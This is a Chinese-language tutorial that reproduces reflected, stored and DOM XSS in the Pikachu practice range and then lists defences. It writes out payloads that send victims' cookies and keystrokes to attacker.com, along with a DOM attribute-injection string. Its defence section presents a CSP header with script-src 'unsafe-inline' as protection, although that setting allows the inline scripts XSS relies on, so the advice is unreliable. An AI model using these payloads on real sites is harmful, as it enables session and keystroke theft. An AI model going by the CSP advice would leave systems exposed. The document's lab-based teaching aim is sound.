新手必看：用Pikachu靶场手把手教你复现XSS攻击（从弹窗到窃取Cookie）
零基础实战：用Pikachu靶场构建XSS攻击防御思维
第一次在Pikachu靶场看到<script>alert(1)</script>这段代码弹出警告框时，那种"原来黑客是这样操作的"的顿悟感至今难忘。XSS攻击作为Web安全领域的常青树，其危害性往往被初学者低估——直到你亲眼看到自己的Cookie被恶意脚本窃取。本文将带你从最基础的弹窗测试开始，逐步拆解反射型、存储型和DOM型XSS的攻击原理，最终实现从"看懂攻击"到"防御攻击"的思维跃迁。
1. 实验环境搭建与基础认知
在开始实战前，需要准备以下环境组件：
- Pikachu靶场：GitHub开源项目，专为Web安全学习设计的漏洞演练平台
- 浏览器开发者工具：Chrome/Firefox的F12调试控制台
- Burp Suite社区版：用于拦截和修改HTTP请求
提示：所有实验请在本地虚拟机构建的靶场中进行，切勿在公网环境测试未授权系统
XSS攻击本质是注入恶意脚本到可信上下文的过程。想象这样一个场景：论坛允许用户提交评论，但未对评论内容过滤。攻击者提交包含JavaScript代码的评论后，所有查看该页面的用户都会执行这段代码。这就是最典型的存储型XSS。
三种基础XSS类型对比：
| 类型 | 触发条件 | 持久性 | 典型案例 |
|---|---|---|---|
| 反射型 | 需要用户点击特制链接 | 非持久 | 钓鱼邮件中的恶意URL |
| 存储型 | 恶意代码存入数据库 | 持久 | 论坛评论区的脚本注入 |
| DOM型 | 前端JS处理漏洞 | 依赖DOM解析 | 单页面应用参数处理 |
2. 反射型XSS实战剖析
打开Pikachu靶场的"反射型XSS(get)"模块，你会看到一个简单的NBA球员偏好调查表单。表面看这是个无害的投票功能，但关键在于后端如何处理输入。
经典攻击步骤：
- 在输入框尝试基础payload：
<script>alert(document.domain)</script> - 观察页面响应，发现弹窗显示当前域名
- 进阶测试Cookie窃取：
<script> fetch('http://attacker.com/steal?data='+document.cookie) </script>
注意：实际攻击中需要将特殊字符进行URL编码，例如
<变为%3C
关键突破点分析：
- 未对
<script>标签过滤 - 输出直接嵌入HTML上下文
- Cookie未设置HttpOnly属性
通过Burp Suite拦截请求，可以看到原始参数结构：
GET /xss_reflected_get.php?message=PAYLOAD&submit=submit HTTP/1.13. 存储型XSS的持久化威胁
存储型XSS的破坏力体现在其持久性上。在Pikachu的留言板模块尝试以下操作：
- 提交恶意留言：
<script> let img = new Image(); img.src = 'http://attacker.com/log?cookie='+document.cookie; </script> - 用不同设备访问留言板页面
- 观察攻击者服务器接收到的Cookie数据
高级攻击技巧——键盘记录：
document.onkeypress = function(e) { fetch('http://attacker.com/log?key='+e.key); }这种攻击的可怕之处在于，即使用户关闭页面，只要恶意代码仍存储在服务器上，新访问者就会持续中招。某知名博客平台曾因存储型XSS漏洞导致百万用户数据泄露。
4. DOM型XSS的隐形陷阱
DOM型XSS的特殊性在于漏洞完全存在于客户端代码中。分析Pikachu的DOM型XSS模块：
- 查看页面源码，定位关键JavaScript代码：
function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } - 构造利用字符串：
' onclick='alert(1) - 生成的恶意链接：
<a href='' onclick='alert(1)'>what do you see?</a>
现代前端框架中的DOM XSS：
// Vue.js示例中的潜在风险 new Vue({ el: '#app', template: `<div>` + userInput + `</div>` })5. 防御体系的构建策略
理解了攻击原理后，防御措施就变得直观。以下是分层防护方案：
输入处理层：
- 白名单过滤（如DOMPurify库）
- 上下文相关编码：
// HTML上下文 htmlspecialchars($input, ENT_QUOTES); // JavaScript上下文 json_encode($input);
输出处理层：
- 设置CSP（内容安全策略）头：
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' - Cookie安全标记：
setcookie("session", $id, [ 'httponly' => true, 'samesite' => 'Strict' ]);
框架级防护：
- React的自动转义机制
- Angular的模板沙箱
- Vue的v-html指令警告
在最近的一次渗透测试中，我们发现即使采用了所有常规防护措施，通过精心构造的SVG文件仍可绕过过滤。这提醒我们安全防护需要持续迭代更新。